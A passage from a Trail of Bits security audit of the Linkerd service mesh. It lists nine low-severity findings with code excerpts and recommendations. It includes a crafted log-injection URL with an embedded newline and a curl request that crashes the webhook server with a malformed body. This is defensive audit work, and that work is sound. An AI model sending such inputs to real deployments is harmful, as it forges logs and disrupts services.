TOB-LNKD-1 ). \n ● An assessment of attack vectors that could be exploited to use Linkerd as an open \n relay did not reveal any issues. \n ● An analysis of denial-of-service vulnerabilities in the codebase revealed issues \n regarding memory leaks ( TOB-LNKD-2 , TOB-LNKD-4 , TOB-LNKD-6 ). \n ● A review of the TLS connection code revealed that TLS connections using older TLS \n protocol versions are not rejected or verified ( TOB-LNK-8 ); we identified no other \n issues in this area. \n ● Investigations into the use of cryptography outside of TLS code paths did not reveal \n any issues. \n ● An assessment of the codebase’s vulnerability to secondary issues revealed a risk of \n log injection in the TAP service ( TOB-LNKD-7 ). \n ● An analysis of network routing did not reveal any issues. \n C o v er a g e L i m i t a t i o n s \n Because of the time-boxed nature of testing work, it is common to encounter coverage \n limitations. During this project, we were unable to perform comprehensive testing of \n certain system elem ents, which may warrant further review. \n ● Due to time constraints, we could not fully cover the codebase. The issues that we \n found during this audit resulted from partial coverage of the codebase. \n T r a i l o f B i t s 9 Linkerd Security Assessment \n C O N F I D E N T I A L \n S u m m a r y o f F i n d i n g s \n The table below summarizes the findings of the review, including type and severity details. \n ID Title Type Severity \n 1 Various unhandled errors Error Reporting Undetermined \n 2 The use of time.After() in select statements can \n lead to memory leaks Timing Low \n 3 Use of string.Contains instead of string.HasPrefix \n to check for prefixes Data Validation Undetermined \n 4 Risk of resource exhaustion due to the use of \n defer inside a loop Denial of Service Inform ational \n 5 Lack of maximum request and response body \n constraint Denial of Service Inform ational \n 6 Potential goroutine leak in Kubernetes \n port-forwarding initialization logic Denial of Service Inform ational \n 7 Risk of log injection in TAP service API Auditing and \n Logging Low \n 8 TLS configuration does not enforce minimum TLS \n version Configuration Low \n 9 Nil dereference in the webhook server Data Validation Inform ational \n T r a i l o f B i t s 10 Linkerd Security Assessment \n C O N F I D E N T I A L \n D e t a i l e d F i n d i n g s \n 1 . V a r i ou s u n h a n d l e d e r r or s \n Severity: Undetermined Difficulty: High \n Type: Error Reporting Finding ID: TOB-LNKD-1 \n Target: Various \n D e s c r i p t i on \n The linkerd codebase contains various methods with unhandled errors. In most cases, \n errors returned by functions are simply not checked; in other cases, functions that \n surround deferred error-returning functions do not capture the relevant errors. \n Using gosec and errcheck , we detected a large number of such cases, which we cannot \n enumerate in this report. We recommend running these tools to uncover and resolve these \n cases. \n Figures 1.1 and 1.2 provide examples of functions in the codebase with unhandled errors: \n func (h *handler) handleProfileDownload(w http.ResponseWriter, req *http.Request, params \n httprouter.Params) { \n [...] \n w.Write(profileYaml.Bytes()) \n } \n Figure 1.1: web/srv/handlers.go#L65-L91 \n func renderStatStats(rows []*pb.StatTable_PodGroup_Row, options *statOptions) string { \n [...] \n writeStatsToBuffer(rows, w, options) \n w.Flush() \n [...] \n } \n Figure 1.2: viz/cmd/stat.go#L295-L302 \n We could not determine the severity of all of the unhandled errors detected in the \n codebase. \n E x p l oi t S c e n a r i o \n While an operator of the Linkerd infrastructure interacts with the system, an uncaught \n error occurs. Due to the lack of error reporting, the operator is unaware that the operation \n did not complete successfully, and he produces further undefined behavior. \n T r a i l o f B i t s 11 Linkerd Security Assessment \n C O N F I D E N T I A L \n R e c om m e n d a t i on s \n Short term, run gosec and errcheck across the codebase. Resolve all issues pertaining to \n unhandled errors by checking them explicitly. \n Long term, ensure that all functions that return errors have explicit checks for these errors. \n Consider integrating the abovementioned tooling into the CI/CD pipeline to prevent \n undefined behavior from occurring in the affected code paths. \n T r a i l o f B i t s 12 Linkerd Security Assessment \n C O N F I D E N T I A L \n 2 . T h e u s e o f t i m e . A f t e r ( ) i n s e l e c t s t a t e m e n t s c a n l e a d t o m e m o r y l e a k s \n Severity: Low Difficulty: High \n Type: Timing Finding ID: TOB-LNKD-2 \n Target: cli/cmd/metrics_diagnostics_util.go \n D e s c r i p t i on \n Calls to time.After in for/select statements can lead to memory leaks because the \n garbage collector does not clean up the underlying Timer object until the timer fires. A new \n timer, which requires resources, is initialized at each iteration of the for loop (and, hence, \n the select statement). As a result, many routines originating from the time.After call \n could lead to overconsumption of the memory. \n wait: \n for { \n select { \n case result := <-resultChan: \n results = append (results, result) \n case <-time.After(waitingTime): \n break wait // timed out \n } \n if atomic.LoadInt32(&activeRoutines) == 0 { \n break \n } \n } \n Figure 2.1: cli/cmd/metrics_diagnostics_util.go#L131-L142 \n R e c om m e n d a t i on s \n Short term, consider refactoring the code that uses the time.After function in \n for/select loops using tickers. This will prevent memory leaks and crashes caused by \n memory exhaustion. \n Long term, ensure that the time.After method is not used in for/select routines. \n Periodically use the Semgrep query to check for and detect similar patterns. \n R e f e r e n c e s \n ● Use with caution time.After Can cause memory leak (golang) \n ● Golang <-time.After() is not garbage collected before expiry \n T r a i l o f B i t s 13 Linkerd Security Assessment \n C O N F I D E N T I A L \n 3 . U s e o f s t r i n g . Con t a i n s i n s t e a d o f s t r i n g . H a s P r e fi x t o c h e c k f o r p r e fi x e s \n Severity: Undetermined Difficulty: Undetermined \n Type: Data Validation Finding ID: TOB-LNKD-3 \n Target: multicluster/service-mirror/events_formatting.go \n D e s c r i p t i on \n When formatting event metadata, the formatMetadata method checks whether a given \n string in the metadata map contains a given prefix. However, rather than using \n string.HasPrefix to perform this check, it uses string.Contains , which returns true \n if the given prefix string is located anywhere in the target string. \n for k, v := range meta { \n if strings.Contains(k, consts.Prefix) || strings.Contains(k, \n consts.ProxyConfigAnnotationsPrefix) { \n metadata = append(metadata, fmt.Sprintf(\"%s=%s\", k, v)) \n } \n } \n Figure 3.1: multicluster/service-mirror/events_formatting.go#L23-L27 \n R e c om m e n d a t i on s \n Short term, refactor the prefix checks to use string.HasPrefix rather than \n string.Contains . This will ensure that prefixes within strings are properly validated. \n T r a i l o f B i t s 14 Linkerd Security Assessment \n C O N F I D E N T I A L \n 4 . R i s k o f r e s ou r c e e x h a u s t i on d u e t o t h e u s e o f d e f e r i n s i d e a l o o p \n Severity: Informational Difficulty: High \n Type: Denial of Service Finding ID: TOB-LNKD-4 \n Target: pkg/healthcheck/healthcheck.go \n D e s c r i p t i on \n The runCheck function, responsible for performing health checks for various services, \n performs its core functions inside of an infinite for loop. runCheck is called with a timeout \n stored in a context object. The cancel() function is deferred at the beginning of the \n loop. Calling defer inside of a loop could cause resource exhaustion conditions because \n the deferred function is called when the function exits, not at the end of each loop. As a \n result, resources from each context object are accumulated until the end of the for \n statement. While this may not cause noticeable issues in the current state of the the \n application, it is best to call cancel() at the end of each loop to prevent unforeseen \n issues. \n func (hc *HealthChecker) runCheck(category *Category, c *Checker, observer CheckObserver) \n bool { \n for { \n ctx, cancel := context.WithTimeout(context.Background(), RequestTimeout) \n defer cancel() \n err := c.check(ctx) \n if se, ok := err.(*SkipError); ok { \n log.Debugf( \"Skipping check: %s. Reason: %s\" , c.description, se.Reason) \n return true \n } \n Figure 4.1: pkg/healthcheck/healthcheck.go#L1619-L1628 \n R e c om m e n d a t i on s \n Short term, rather than deferring the call to cancel() , add a call to cancel() at the end \n of the loop. \n T r a i l o f B i t s 15 Linkerd Security Assessment \n C O N F I D E N T I A L \n 5 . L a c k o f m a x i m u m r e q u e s t a n d r e s p o n s e b o d y c o n s t r a i n t \n Severity: Informational Difficulty: High \n Type: Denial of Service Finding ID: TOB-LNKD-5 \n Target: Various APIs \n D e s c r i p t i on \n The ioutil.ReadAll function reads from source until an error or an end-of-file (EOF) \n condition occurs, at which point it returns the data that it read. There is no limit on the \n maximum size of request and response bodies, so using ioutil.ReadAll to parse \n requests and responses could cause a denial of service (due to insufficient memory). A \n denial of service could also occur if an exhaustive resource is loaded multiple times. This \n method is used in the following locations of the codebase: \n File Purpose \n controller/heartbeat/heartbeat.go:239 Reads responses for heartbeat requests \n pkg/profiles/openapi.go:32 Reads the body of file for the profile \n command \n pkg/version/channels.go:83 Reads responses from requests for \n obtaining Linkerd versions \n controller/webhook/server.go:124 Reads requests for the webhook and \n metrics servers \n pkg/protohttp/protohttp.go:48 Reads all requests sent to the metrics \n and TAP APIs \n pkg/protohttp/protohttp.go:170 Reads error responses from the metrics \n and TAP APIs \n In the case of pkg/protohttp/protohttp.go , the readAll function can be called to \n read POST requests, making it easier for an attacker to exploit the misuse of the ReadAll \n function. \n R e c om m e n d a t i on s \n Short term, place a limit on the maximum size of request and response bodies. For \n example, this limitation can be implemented by using the io.LimitReader function. \n T r a i l o f B i t s 16 Linkerd Security Assessment \n C O N F I D E N T I A L \n Long term, place limits on request and response bodies globally in other places within the \n application to prevent denial-of-service attacks. \n T r a i l o f B i t s 17 Linkerd Security Assessment \n C O N F I D E N T I A L \n 6 . P o t e n t i a l g or ou t i n e l e a k i n K u b e r n e t e s p o r t - f o r w a r d i n g i n i t i a l i z a t i o n l o g i c \n Severity: Informational Difficulty: High \n Type: Denial of Service Finding ID: TOB-LNKD-6 \n Target: pkg/healthcheck/healthcheck.go \n D e s c r i p t i on \n The Init function responsible for initializing port-forwarding connections for Kubernetes \n causes a goroutine leak when connections succeed. This is because the failure channel \n in the Init function is set up as an unbuffered channel. Consequently, the failure \n channel blocks the execution of the anonymous goroutine in which it is used unless an \n error is received from pf.run() . Whenever a message indicating success is received by \n readChan , the Init function returns without first releasing the resources allocated by the \n anonymous goroutine, causing those resources to be leaked. \n func (pf *PortForward) Init() error { \n // (...) \n failure := make ( chan error ) \n go func () { \n if err := pf.run(); err != nil { \n failure <- err \n } \n }() \n // (...)` \n select { \n case <-pf.readyCh: \n log.Debug( \"Port forward initialised\" ) \n case err := <-failure: \n log.Debugf( \"Port forward failed: %v\" , err) \n return err \n } \n Figure 6.1: pkg/k8s/portforward.go#L200-L220 \n R e c om m e n d a t i on s \n Short term, make the failure channel a buffered channel of size 1 . That way, the \n goroutine will be cleaned and destroyed when the function returns regardless of which \n case occurs first. \n Long term, run GCatch against goroutine-heavy packages to detect the mishandling of \n channel bugs. Refer to Appendix C for guidance on running GCatch. Basic instances of this \n issue can also be detected by running this Semgrep rule . \n T r a i l o f B i t s 18 Linkerd Security Assessment \n C O N F I D E N T I A L \n 7 . R i s k o f l og i n j e c t i on i n T A P s e r v i c e A P I \n Severity: Low Difficulty: High \n Type: Auditing and Logging Finding ID: TOB-LNKD-7 \n Target: viz/tap/api/handlers.go \n D e s c r i p t i on \n Requests sent to the TAP service API endpoint, /apis/tap , via the POST method are \n handled by the handleTap method. This method parses a namespace and a name \n obtained from the URL of the request. Both the namespace and name variables are then \n used in a log statement for printing debugging messages to standard output. Because both \n fields are user controllable, an attacker could perform log injection attacks by calling such \n API endpoints with a namespace or name with newline indicators, such as \\n . \n func (h *handler) handleTap(w http.ResponseWriter, req *http.Request, p httprouter.Params) { \n namespace := p.ByName( \"namespace\" ) \n name := p.ByName( \"name\" ) \n resource := \"\" \n // (...) \n h.log.Debugf( \"SubjectAccessReview: namespace: %s, resource: %s, name: %s, user: <%s>, \n group: <%s>\" , \n namespace, resource, name, h.usernameHeader, h.groupHeader, \n ) \n Figure 7.1: viz/tap/api/handlers.go#L106-L125 \n E x p l oi t S c e n a r i o \n An attacker submits a POST request to the TAP service API using the URL \n /apis/tap.linkerd.io/v1alpha1/watch/myns\\nERRO[0000]/tap , causing invalid logs to be printed and tricking an operator into falsely \n believ ing there is a failure. \n R e c om m e n d a t i on s \n Short term, ensure that all user-controlled input is sanitized before it is used in the logging \n function. Additionally, use the format specifier %q instead of %s to prompt Go to perform \n basic sanitation of strings. \n T r a i l o f B i t s 19 Linkerd Security Assessment \n C O N F I D E N T I A L \n 8 . T L S c on fi g u r a t i on d oe s n o t e n f or c e m i n i m u m T L S v e r s i o n \n Severity: Low Difficulty: High \n Type: Configuration Finding ID: TOB-LNKD-8 \n Targets: controller\\webhook\\server.go , viz\\tap\\api\\sever.go \n D e s c r i p t i on \n Transport Layer Security (TLS) is used in multiple locations throughout the codebase. In two \n cases, TLS configurations do not have a minimum version requirement, allowing \n connections from TLS 1.0 upwards. This may leave the webhook and TAP API servers \n vulnerable to protocol downgrade and man-in-the-middle attacks. \n // NewServer returns a new instance of Server \n func NewServer( \n ctx context.Context, \n api *k8s.API, \n addr, certPath string, \n handler Handler, \n component string, \n ) (*Server, error) { \n [...] \n server := &http.Server{ \n Addr: addr, \n TLSConfig: &tls.Config{}, \n } \n Figure 8.1: controller/webhook/server.go#L43-L64 \n // NewServer creates a new server that implements the Tap APIService. \n func NewServer( \n ctx context.Context, \n addr string, \n k8sAPI *k8s.API, \n grpcTapServer pb.TapServer, \n disableCommonNames bool, \n ) (*Server, error) { \n [...] \n httpServer := &http.Server{ \n Addr: addr, \n TLSConfig: &tls.Config{ \n ClientAuth: tls.VerifyClientCertIfGiven, \n ClientCAs: clientCertPool, \n }, \n } \n Figure 8.2: viz/tap/api/sever.go#L34-L76 \n T r a i l o f B i t s 20 Linkerd Security Assessment \n C O N F I D E N T I A L \n E x p l oi t S c e n a r i o \n Due to the lack of minimum TLS version enforcement, certain established connections lack \n sufficient authentication and cryptography. These connections do not protect against \n man-in-the-middle attacks. \n R e c om m e n d a t i on s \n Short term, review all TLS configurations and ensure the MinVersion field is set to require \n connections to be TLS 1.2 or newer. \n Long term, ensure that all TLS configurations across the codebase enforce a minimum \n version requirement and employ verification where possible. \n T r a i l o f B i t s 21 Linkerd Security Assessment \n C O N F I D E N T I A L \n 9 . N i l d e r e f e r e n c e s i n t h e w e b h ook s e r v e r \n Severity: Informational Difficulty: High \n Type: Data Validation Finding ID: TOB-LNKD-9 \n Target: controller/webhook/server.go \n D e s c r i p t i on \n The webhook server’s processReq function, used for handling admission review requests, \n does not properly validate request objects. As a result, malformed requests result in nil \n dereferences, which cause panics on the server. \n If the server receives a request with a body that cannot be decoded by the decode \n function, shown below, an error is returned, and a panic is triggered when the system \n attempts to access the Request object in line 154. A panic could also occur if request is \n decoded successfully into an AdmissionReview object with a missing Request property. \n In such case, the panic would be triggered in line 162. \n 149 func (s *Server) processReq(ctx context.Context, data [] byte ) \n *admissionv1beta1.AdmissionReview { \n 150 admissionReview, err := decode(data) \n 151 if err != nil { \n 152 log.Errorf( \"failed to decode data. Reason: %s\" , err) \n 153 admissionReview.Response = &admissionv1beta1.AdmissionResponse{ \n 154 UID: admissionReview.Request.UID , \n 155 Allowed: false , \n 156 Result: &metav1.Status{ \n 157 Message: err.Error(), \n 158 }, \n 159 } \n 160 return admissionReview \n 161 } \n 162 log.Infof( \"received admission review request %s\" , \n admissionReview.Request.UID ) \n 163 log.Debugf( \"admission request: %+v\" , admissionReview.Request) \n Figure 9.1: controller/webhook/server.go#L149-L163 \n We tested the panic by getting a shell on a container running in the application namespace \n and issuing the request in figure 9.2. However, the Go server recovers from the panics \n without negatively impacting the application. \n T r a i l o f B i t s 22 Linkerd Security Assessment \n C O N F I D E N T I A L \n curl -i -s -k -X $'POST' -H $'Host: 10.100.137.130:443' -H $'Accept: */*' -H \n $'Content-Length: 6' --data-binary $'aaaaaa' $'https://10.100.137.130:443/inject/test \n Figure 9.2: The curl request that causes a panic \n R e c om m e n d a t i on s \n Short term, add checks to verify that request objects are not nil before and after they are \n decoded. \n Long term, run the invalid-usage-of-modified-variable rule from the Trail of Bits \n set of Semgrep rules in the CI/CD pipeline to detect this type of bug. \n T r a i l o f B i t s 23 Linkerd Security Assessment \n C O N F I D E N T I A L \n A . V u l n e r a b i l i t y Ca t e g o r i e s \n The following tables describe the vulnerability categories, severity levels, and difficulty \n levels used in this document. \n Vulnerability Categories \n Category Description \n Access Controls Insufficient authorization or assessment of rights \n Auditing and Logging Insufficient auditing of actions or logging of problems \n Authentication Improper identification of users \n Configuration Misconfigured servers, devices, or software components \n Cryptography A breach of system confidentiality or integrity \n Data Exposure Exposure of sensitive information \n Data Validation Improper reliance on the structure or values of data \n Denial of Service A system failure with an availability impact \n Error Report ing Insecure or insufficient reporting of error conditions \n Patching Use of an outdated software package or library \n Session Management Improper identification of authenticated users \n Testing Insufficient test methodology or test coverage \n Timing Race conditions or other order-of-operations flaws \n Undefined Behavior Undefined behavior triggered within the system \n T r a i l o f B i t s 24 Linkerd Security Assessment \n C O N F I D E N T I A L \n Severity Levels \n Severity Description \n Inform ational The issue does not pose an immediate risk but is relevant to security best \n practices. \n Undetermined The extent of the risk was not determined during this engagement. \n Low The risk is small or is not one the client has indicated is important. \n Medium User information is at risk; exploitation could pose reputational, legal, or \n moderate financial risks. \n High The flaw could affect numerous users and have serious reputational, legal, \n or financial implications. \n Difficulty Levels \n Difficulty Description \n Undetermined The difficulty of exploitation was not determined during this engagement. \n Low The flaw is well known; public tools for its exploitation exist or can be \n scripted. \n Medium An attacker must write an exploit or will need in-depth knowledge of the \n system. \n High An attacker must have privileged access to the system, may need to know \n complex technical details, or must discover other weaknesses to exploit this \n issue. \n T r a i l o f B i t s 25 Linkerd Security Assessment \n C O N F I D E N T I A L \n B . Co d e Q u a l i t y F i n d i n g s \n This appendix lists code quality findings that we identified through a manual review. \n Typo in the filename viz/tap/api/sever.go . The word “sever” should be “server.” \n Use of fmt.Sprintf instead of net.JoinHostPort . In locations in which host names \n and port numbers are joined for a target URI, fmt.Sprintf calls are used to format the \n message instead of net.JoinHostPort . \n ● controller/api/destination/profile_translator.go#L120 \n ● controller/api/destination/server.go#L471 \n ● controller/api/destination/watcher/endpoints_watcher.go ( #L753 , \n #L813 ) \n ● controller/api/destination/watcher/k8s.go#L96 \n Redundant error handling in various methods. Various methods check whether an error \n is nil before returning it; however, continuing down the code path returns a nil . Instead, \n these methods could return the error whether it is nil or not. \n ● jaeger/cmd/check.go#L76-L79 \n ● multicluster/service-mirror/cluster_watcher.go#L1026-L1030 \n ● pkg/healthcheck/healthcheck.go#L1510-L1514 \n ● viz/cmd/tap.go#L306-L310 \n ● viz/pkg/healthcheck/healthcheck.go#L244-L248 \n T r a i l o f B i t s 26 Linkerd Security Assessment \n C O N F I D E N T I A L \n C . R u n n i n g G Ca t c h \n This appendix explains how to use GCatch , a tool that automatically detects concurrency \n bugs in Go. It also includes relevant output generated by GCatch when it is run over Linkerd \n (figure B.1). We omitted from the figure any output pertaining to packages in which no \n issues were detected and to packages that did not compile. Additionally, we replaced the \n prefix of the package paths ( / home/vagrant/go/src/github.com/linkerd ) with \n \" $LINKERD \" in the figure. \n To run GCatch over the Linkerd project, take the following steps: \n 1. Clone the GCatch project as a Go package. For example, if your Go root directory \n were ~/go, you would clone the repository to the following package: \n ~/go/src/github.com/system-pclub/GCatch . \n 2. Go to the GCatch/GCatch directory and run Installz3.sh and install.sh . \n 3. Install the project in the Go root directory and enter the project directory \n ( ~/go/src/github.com/linkerd/linkerd2 ). \n 4. Run GCatch by using the following command: \n GCatch -path=\"$(pwd)\" -include=github.com/linkerd/$REPO \n -checker=BMOC:unlock:double:conflict:structfield:fatal -r \n -compile-error . \n ----------Bug[1]---------- \n Type: BMOC Reason: One or multiple channel operation is blocked. \n -----Blocking at: \n File: /$LINKERD/k8s/portforward.go:207 \n -----Path NO. 0 Entry func at: (*github.com/linkerd/linkerd2/pkg/k8s.PortForward).Init \n Call :/$LINKERD/k8s/portforward.go:201:12 '✓' \n ChanMake :/$LINKERD/k8s/portforward.go:203:17 '✓' \n Go :/$LINKERD/k8s/portforward.go:205:2 '✓' \n Select :/$LINKERD/k8s/portforward.go:214:2 '✓' \n Select_case :/$LINKERD/k8s/portforward.go:214:2 '✓' \n Call :/$LINKERD/k8s/portforward.go:216:12 '✓' \n Return :/$LINKERD/k8s/portforward.go:222:2 '✓' \n -----Blocking Path NO. 1 \n Call :/$LINKERD/k8s/portforward.go:206:19 '✓' \n If :/$LINKERD/k8s/portforward.go:206:27 '✓' \n Chan_op :/$LINKERD/k8s/portforward.go:207:12 Blocking \n Jump :/$LINKERD/k8s/portforward.go:207:12 '✗' \n Return :/$LINKERD/k8s/portforward.go:207:12 '✗' \n Figure C.1: GCatch results for Linkerd \n T r a i l o f B i t s 27 Linkerd Security Assessment \n C O N F I D E N T I A L \n"}],"string":"[\n {\n \"data\": \" L i n k e r d \\n S e c u r i t y A s s e s s me n t \\n February 14, 2022 \\n Prepared for: \\n Oliver Gould \\n Linux Foundation \\n Prepared by: \\n Alex Useche and David Pokora \\n A b o u t T r a i l o f B i t s \\n Founded in 2012 and headquartered in New York, Trail of Bits provides technical security \\n assessment and advisory services to some of the world’s most targeted organizations. We \\n combine high- end security research with a real -world attacker mentality to reduce risk and \\n fortify code. With 80+ employees around the globe, we’ve helped secure critical software \\n elem ents that support billions of end users, including Kubernetes and the Linux kernel. \\n We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , \\n with links to papers, presentations, public audit reports, and podcast appearances. \\n In recent years, Trail of Bits consultants have showcased cutting-edge research through \\n presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, \\n the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. \\n We specialize in software testing and code review projects, supporting client organizations \\n in the technology, defense, and finance industries, as well as government entities. Notable \\n clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. \\n Trail of Bits also operates a center of excellence with regard to blockchain security. Notable \\n projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, \\n MakerDAO, Matic, Uniswap, Web3, and Zcash. \\n To keep up to date with our latest news and announcements, please follow @trailofbits on \\n Twitter and explore our public repositories at https://github.com/trailofbits . To engage us \\n directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at \\n info@trailofbits.com . \\n Trail of Bits, Inc. \\n 228 Park Ave S #80688 \\n New York, NY 10003 \\n https://www.trailofbits.com \\n info@trailofbits.com \\n T r a i l o f B i t s 1 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n N o t i c e s a n d R e m a r k s \\n C o p y r i g h t a n d D i s t r i b u t i o n \\n © 2022 by Trail of Bits, Inc. \\n All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this \\n report in the United Kingdom. \\n This report is considered by Trail of Bits to be confidential information; it is licensed to the \\n Linux Foundation under the terms of the project statement of work and intended solely for \\n internal use by the Linux Foundation. Material within this report may not be reproduced or \\n distributed in part or in whole without the express written permission of Trail of Bits. \\n T es t C o v er a g e D i s c l a i m er \\n All activities undertaken by Trail of Bits in association with this project were performed in \\n accordance with a statement of work and mutually agreed upon project plan. \\n Security assessment projects are time-boxed and often reliant on information that may be \\n provided by a client, its affiliates, or its partners. As such, the findings documented in this \\n report should not be considered a comprehensive list of security issues, flaws, or defects in \\n the target system or codebase. \\n T r a i l o f B i t s 2 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n T a b l e o f Co n t e n t s \\n About Trail of Bits 1 \\n Notices and Remarks 2 \\n Table of Contents 2 \\n Executive Summary 5 \\n Project Summary 6 \\n Project Goals 7 \\n Project Targets 8 \\n Project Coverage 9 \\n Summary of Findings 10 \\n Detailed Findings 11 \\n 1. Various unhandled errors 11 \\n 2. The use of time.After() in select statements can lead to memory leaks 13 \\n 3. Use of string.Contains instead of string.HasPrefix to check for prefixes 14 \\n 4. Risk of resource exhaustion due to the use of defer inside a loop 15 \\n 5. Lack of maximum request and response body constraint 16 \\n 6. Potential goroutine leak in Kubernetes port-forwarding initialization logic 18 \\n 7. Risk of log injection in TAP service API 19 \\n 8. TLS configuration does not enforce minimum TLS version 20 \\n 9. Nil dereferences in the webhook server 22 \\n A. Vulnerability Categories 24 \\n B. Code Quality Findings 26 \\n C. Running GCatch 27 \\n T r a i l o f B i t s 3 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n T r a i l o f B i t s 4 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n E x e c u t i v e S u m m a r y \\n E n g a g em en t O v er v i e w \\n The Linux Foundation engaged Trail of Bits to review the security of its Linkerd service \\n mesh. From January 31 to February 14, 2022, a team of two consultants conducted a \\n security review of the client-provided source code, with two person-weeks of effort. Details \\n of the project’s timeline, test targets, and coverage are provided in subsequent sections of \\n this report. \\n P r o j ec t S c o p e \\n Our testing efforts were focused on the identification of flaws that could result in a \\n compromise of confidentiality, integrity, or availability of the target system. We conducted \\n this audit with access to the linkerd2 repository and supporting public documentation. \\n S u m m a r y o f F i n d i n g s \\n The audit did not uncover any significant flaws or defects that could impact system \\n confidentiality, integrity, or availability. A summary of the findings is provided below. \\n E X P O S U R E A N A L Y S I S \\n Severity Count \\n Low 3 \\n Inform ational 4 \\n Undetermined 2 C A T E G O R Y B R E A K D O W N \\n Category Count \\n Error Report ing 1 \\n Timing 1 \\n Data Validation 2 \\n Denial of Service 3 \\n Auditing and Logging 1 \\n Configuration 1 \\n T r a i l o f B i t s 5 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n P r o j e c t S u m m a r y \\n C o n t a c t I n f o r m a t i o n \\n The following managers were associated with this project: \\n Dan Guido , Account Manager Cara Pearson , Project Manager \\n dan@trailofbits.com cara.pearson@trailofbits.com \\n The following engineers were associated with this project: \\n Alex Useche , Consultant David Pokora , Consultant \\n alex.useche@trailofbits.com david.pokora@trailofbits.com \\n P r o j ec t T i m el i n e \\n The significant events and milestones of the project are listed below. \\n Date Event \\n January 27, 2022 Pre-project kickoff call \\n February 7, 2022 Status update meeting #1 \\n February 14, 2022 Delivery of final report draft and report readout meeting \\n March 3, 2022 Delivery of final report \\n T r a i l o f B i t s 6 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n P r o j e c t G o a l s \\n The engagement was scoped to provide a security assessment of the Linkerd service mesh. \\n Specifically, we sought to answer the following non-exhaustive list of questions: \\n ● Are Transport Layer Security (TLS) channels appropriately configured? Is Mutual TLS \\n (mTLS) leveraged in a secure fashion across infrastructural components? \\n ● Can the service accept connections from untrusted sources? Could an attacker \\n pollute the proxy routing paths? \\n ● Could the service be used to perform arbitrary message relays to other endpoints? \\n ● Is the node configured properly? \\n ● Are system secrets vulnerable to data exposure? \\n ● Is appropriate data validation performed on server endpoints? \\n ● Are metrics appropriately collected for all relevant tasks? Can this be circumvented \\n in any way? \\n ● Could an attacker perform log injection attacks against the application to trick \\n operators into performing undesirable actions? \\n ● Could an attacker with access to application containers affect the availability of the \\n control plane service? \\n ● Do metrics endpoints exposed by the linkerd-viz extensions leak sensitive data? \\n ● Could attackers use access to linkerd-viz APIs to perform unauthorized tasks in \\n control plane components? \\n ● Could malicious developers with rights restricted to the application namespace \\n escalate their privileges by using endpoints exposed by proxy servers and control \\n plane components? \\n T r a i l o f B i t s 7 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n P r o j e c t T a r g e t s \\n The engagement involved a review and testing of the targets listed below. \\n l i n k e r d 2 \\n Repository https://github.com/linkerd/linkerd2 \\n Version Commit 68b63269d952b05cc721581dfa4672ad2e775964 \\n Type Infrastructure \\n Platform UNIX \\n T r a i l o f B i t s 8 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n P r o j e c t Co v e r a g e \\n This section provides an overview of the analysis coverage of the review, as determined by \\n our high-level engagement goals. Our approaches and their results include the following: \\n ● A review of error handling throughout the codebase revealed issues regarding \\n unhandled errors ( TOB-LNKD-1 ). \\n ● An assessment of attack vectors that could be exploited to use Linkerd as an open \\n relay did not reveal any issues. \\n ● An analysis of denial-of-service vulnerabilities in the codebase revealed issues \\n regarding memory leaks ( TOB-LNKD-2 , TOB-LNKD-4 , TOB-LNKD-6 ). \\n ● A review of the TLS connection code revealed that TLS connections using older TLS \\n protocol versions are not rejected or verified ( TOB-LNK-8 ); we identified no other \\n issues in this area. \\n ● Investigations into the use of cryptography outside of TLS code paths did not reveal \\n any issues. \\n ● An assessment of the codebase’s vulnerability to secondary issues revealed a risk of \\n log injection in the TAP service ( TOB-LNKD-7 ). \\n ● An analysis of network routing did not reveal any issues. \\n C o v er a g e L i m i t a t i o n s \\n Because of the time-boxed nature of testing work, it is common to encounter coverage \\n limitations. During this project, we were unable to perform comprehensive testing of \\n certain system elem ents, which may warrant further review. \\n ● Due to time constraints, we could not fully cover the codebase. The issues that we \\n found during this audit resulted from partial coverage of the codebase. \\n T r a i l o f B i t s 9 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n S u m m a r y o f F i n d i n g s \\n The table below summarizes the findings of the review, including type and severity details. \\n ID Title Type Severity \\n 1 Various unhandled errors Error Reporting Undetermined \\n 2 The use of time.After() in select statements can \\n lead to memory leaks Timing Low \\n 3 Use of string.Contains instead of string.HasPrefix \\n to check for prefixes Data Validation Undetermined \\n 4 Risk of resource exhaustion due to the use of \\n defer inside a loop Denial of Service Inform ational \\n 5 Lack of maximum request and response body \\n constraint Denial of Service Inform ational \\n 6 Potential goroutine leak in Kubernetes \\n port-forwarding initialization logic Denial of Service Inform ational \\n 7 Risk of log injection in TAP service API Auditing and \\n Logging Low \\n 8 TLS configuration does not enforce minimum TLS \\n version Configuration Low \\n 9 Nil dereference in the webhook server Data Validation Inform ational \\n T r a i l o f B i t s 10 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n D e t a i l e d F i n d i n g s \\n 1 . V a r i ou s u n h a n d l e d e r r or s \\n Severity: Undetermined Difficulty: High \\n Type: Error Reporting Finding ID: TOB-LNKD-1 \\n Target: Various \\n D e s c r i p t i on \\n The linkerd codebase contains various methods with unhandled errors. In most cases, \\n errors returned by functions are simply not checked; in other cases, functions that \\n surround deferred error-returning functions do not capture the relevant errors. \\n Using gosec and errcheck , we detected a large number of such cases, which we cannot \\n enumerate in this report. We recommend running these tools to uncover and resolve these \\n cases. \\n Figures 1.1 and 1.2 provide examples of functions in the codebase with unhandled errors: \\n func (h *handler) handleProfileDownload(w http.ResponseWriter, req *http.Request, params \\n httprouter.Params) { \\n [...] \\n w.Write(profileYaml.Bytes()) \\n } \\n Figure 1.1: web/srv/handlers.go#L65-L91 \\n func renderStatStats(rows []*pb.StatTable_PodGroup_Row, options *statOptions) string { \\n [...] \\n writeStatsToBuffer(rows, w, options) \\n w.Flush() \\n [...] \\n } \\n Figure 1.2: viz/cmd/stat.go#L295-L302 